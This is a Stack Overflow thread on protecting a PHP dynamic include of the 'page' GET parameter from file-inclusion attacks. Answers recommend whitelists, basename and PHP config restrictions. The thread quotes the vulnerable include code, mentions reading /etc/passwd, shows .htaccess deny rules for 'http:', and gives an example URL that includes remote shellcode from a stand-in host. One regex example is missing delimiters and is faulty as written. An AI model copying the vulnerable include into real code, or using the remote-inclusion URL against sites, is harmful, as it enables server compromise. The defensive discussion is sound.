Best way to avoid code injection in PHP

Asked 16 years, 3 months ago Modified 11 years, 3 months ago Viewed 27k times

Part of PHP Collective

24

My website was recently attacked by, what seemed to me as, an innocent code:

```
<?php
  if ( isset( $ _GET['page'] ) ) {
    include( $ _GET['page'] . ".php" );
  } else {
    include("home.php");
  }
?>
```

There where no SQL calls, so I wasn't afraid for SQL Injection. But, apparently, SQL isn't the only kind of injection.

This website has an explanation and a few examples of avoiding code injection: http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

How would you protect this code from code injection?

PHP php security code-injection

Share Improve this question Follow

asked Sep 2, 2008 at 5:24

pek

18k ● 28 ● 88 ● 99

10 Answers

Sorted by: Highest score (default)

40

Use a whitelist and make sure the page is in the whitelist:

```
$whitelist = array('home', 'page');

if (in_array($_GET['page'], $whitelist)) {
      include($_GET['page'].'.php');
} else {
      include('home.php');
}
```

Share Improve this answer Follow

answered Sep 2, 2008 at 5:30

Paige Ruten

176k ● 37 ● 182 ● 199

1 If possible, avoid including files dynamically altogether. `include`, as you have experienced, is almost as dangerous as `eval`. – tdammers Sep 7, 2010 at 11:01

15

Another way to sanitize the input is to make sure that only allowed characters (no "/", ".", ":", ...) are in it. However don't use a blacklist for *bad* characters, but a whitelist for allowed characters:

```
$page = preg_replace('[^a-zA-Z0-9]', '', $page);
```

... followed by a file_exists.

That way you can make sure that only scripts you want to be executed are executed (for example this would rule out a "blabla.inc.php", because "." is not allowed).

Note: This is kind of a "hack", because then the user could execute "h.o.m.e" and it would give the "home" page, because all it does is removing all prohibited characters. It's not intended to stop "smartasses" who want to cute stuff with your page, but it will stop people doing *really bad* things.

BTW: Another thing you could do in you **.htaccess** file is to prevent obvious attack attempts:

```
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /-http- [F,NC]
RewriteRule http: /-http- [F,NC]
```

That way all page accesses with "http:" url (and query string) result in an "Forbidden" error message, not even reaching the php script. That results in less server load.

However keep in mind that no "http" is allowed in the query string. You website might MIGHT require it in some cases (maybe when filling out a form).

BTW: If you can read german: I also have a blog post on that topic.

Share Improve this answer Follow

answered Sep 2, 2008 at 8:40

BlaM

28.8k ● 33 ● 93 ● 106

I now little about htaccess files. I've something that looks like that, for a routing system that could use special characters and spaces. Could you post some examples of forbidden url, blocked by your config file? Thanks – Fábio Antunes Jul 23, 2009 at 22:03

Will this approach work better than the html special characters function? – Anonymous Penguin Apr 6, 2014 at 16:47

5

The #1 rule when accepting user input is always sanitize it. Here, you're not sanitizing your page GET variable before you're passing it into include. You should perform a basic check to see if the file exists on your server before you include it.

Share Improve this answer Follow

answered Sep 2, 2008 at 5:29

Kyle Cronin
79k ● 45 ● 151 ● 167

1 That still doesn't solve a =n injection attack! To sanitize it, you need to be sure the input is a safe, allowed file. Only a whitelist will suffice. – DGM May 5, 2009 at 15:30

5

Pek, there are many things to worry about an addition to sql injection, or even different types of code injection. Now might be a good time to look a little further into web application security in general.

From a previous question on moving from desktop to web development, I wrote:

> The OWASP Guide to Building Secure Web Applications and Web Services should be compulsory reading for any web developer that wishes to take security seriously (which should be **all** web developers). There are many principles to follow that help with the mindset required when thinking about security.
>
> If reading a big fat document is not for you, then have a look at the video of the seminar Mike Andrews gave at Google a couple years back about How To Break Web Software.

Share
Improve this answer
Follow

edited Jun 20, 2020 at 9:12

Community Bot
1 ● 1

answered Sep 2, 2008 at 10:01

Cheekysoft
35.6k ● 20 ● 74 ● 86

I'm assuming you deal with files in the same directory:

4

```php
<?php
if (isset($_GET['page']) && !empty($_GET['page'])) {
  $page = urldecode($_GET['page']);
  $page = basename($page);
  $file = dirname(__FILE__) . "/{$page}.php";
  if (!file_exists($file)) {
    $file = dirname(__FILE__) . '/home.php';
  }
} else {
  $file = dirname(__FILE__) . '/home.php';
}
include $file;
?>
```

This is not too pretty, but should fix your issue.

Share Improve this answer Follow

answered Sep 2, 2008 at 5:29

Till

22.4k ● 4 ● 60 ● 89

1. You don't need `urldecode` $_GET. PHP always decodes it for you. You should make it clear that `basename` is crucial thing in this code. Without it attacker could read sensitive files from parent directories. – Kornel Sep 20, 2010 at 12:12

3

pek, for a short term fix apply one of the solutions suggested by other users. For a mid to long term plan you **should** consider migrating to one of existing web frameworks. They handle all low-level stuff like routing and files inclusion in reliable, secure way, so you can focus on core functionalities.

Do not reinvent the wheel. Use a framework. Any of them is better than none. The initial time investment in learning it pays back almost instantly.

Share

Improve this answer

Follow

edited Sep 2, 2008 at 13:18

answered Sep 2, 2008 at 9:51

Michał Niedźwiedzki

12.9k ● 7 ● 46 ● 47

1

Some good answers so far, also worth pointing out a couple of PHP specifics:

The file open functions use wrappers to support different protocols. This includes the ability to open files over a local windows network, HTTP and FTP, amongst others. Thus in a default configuration, the code in the original question can easily be used to open any arbitrary file on the internet and beyond; including, of course, all files on the server's local disks (that the webbserver user may read). `/etc/passwd` is always a fun one.

Safe mode and `open_basedir` can be used to restrict files outside of a specific directory from being accessed.

Also useful is the config setting `allow_url_fopen`, which can disable URL access to files, when using the file open functions. `ini-set` can be used to set and unset this value at runtime.

These are all nice fall-back safety guards, but please use a whitelist for file inclusion.

Share
Improve this answer
Follow

edited Sep 2, 2008 at 10:23

answered Sep 2, 2008 at 10:13

Cheekysoft
35.6k ● 20 ● 74 ● 86

1

I know this is a very old post and I expect you don't need an answer anymore, but I still miss a very important aspect imho and I like it to share for other people reading this post. In your code to include a file based on the value of a variable, you make a direct link between the value of a field and the requested result (page becomes page.php). I think it is better to avoid that. There is a difference between the request for some page and the delivery of that page. If you make this distinction you can make use of nice urls, which are very user and SEO friendly. Instead of a field value like 'page' you could make an URL like 'Spinoza-Ethica'. That is a key in a whitelist or a primary key in a table from a database and will return a hardcoded filename or value. That method has several advantages besides a normal whitelist:

1. the back end response is effectively independent from the front end request. If you want to set up your back end system differently, you do not have to change anything on the front end.
2. Always make sure you end with hardcoded filenames or an equivalent from the database (preferrabley a return value from a stored procedure), because it is asking for trouble when you make use of the information from the request to build the response.
3. Because your URLs are independent of the delivery from the back end you will never have to rewrite your URLs in the htAccess file for this kind of change.
4. The URLs represented to the user are user friendly, informing the user about the content of the document.
5. Nice URLs are very good for SEO, because search engines are in search of relevant content and when your URL is in line with the content will it get a better rate. At least a better rate then when your content is definitely not in line with your content.
6. If you do not link directly to a php file, you can translate the nice URL into any other type of request before processing it. That gives the programmer much more

flexibility.

7. You will have to sanitize the request, because you get the information from a standard untrustfull source (the rest of the Web). Using only nice URLs as possible input makes the sanitization process of the URL much simpler, because you can check if the returned URL conforms your own format. Make sure the format of the nice URL does not contain characters that are used extensively in exploits (like ',",<,>,-,&,; etc..).

Share
Improve this answer
Follow

edited Sep 22, 2013 at 12:47

answered Oct 10, 2012 at 8:55

Loek Bergman
2,197 ● 20 ● 18

0

@pek - That won't work, as your array keys are 0 and 1, not 'home' and 'page'.

This code should do the trick, I believe:

```php
<?php

$whitelist = array(
  'home',
  'page',
);

if(in_array($_GET['page'], $whitelist)) {
  include($_GET['page'] . '.php');
} else {
  include('home.php');
}

?>
```

As you've a whitelist, there shouldn't be a need for `file_exists()` either.

Share Improve this answer Follow

answered Sep 2, 2008 at 20:06

ceejayoz
180k ● 41 ● 308 ● 380

0

Think of the URL is in this format:

www.yourwebsite.com/index.php?page=http://malicodes.com/shellcode.txt

If the shellcode.txt runs SQL or PHP injection, then your website will be at risk, right? Do think of this, using a whitelist would be of help.

There is a way to filter all variables to avoid the hacking. You can use PHP IDS or OSE Security Suite to help avoid the hacking. After installing the security suite, you

need to activate the suite, here is the guide:

http://www.opensource-excellence.com/shop/ose-security-suite/item/414.html

I would suggest you turn on layer 2 protection, then all POST and GET variables will be filtered especially the one I mentioned, and if there are attacks found, it will report to you immediately/

Safety is always the priority

Share Improve this answer Follow

answered Feb 5, 2013 at 5:11

Jaya Kuma

799 ● 5 ● 2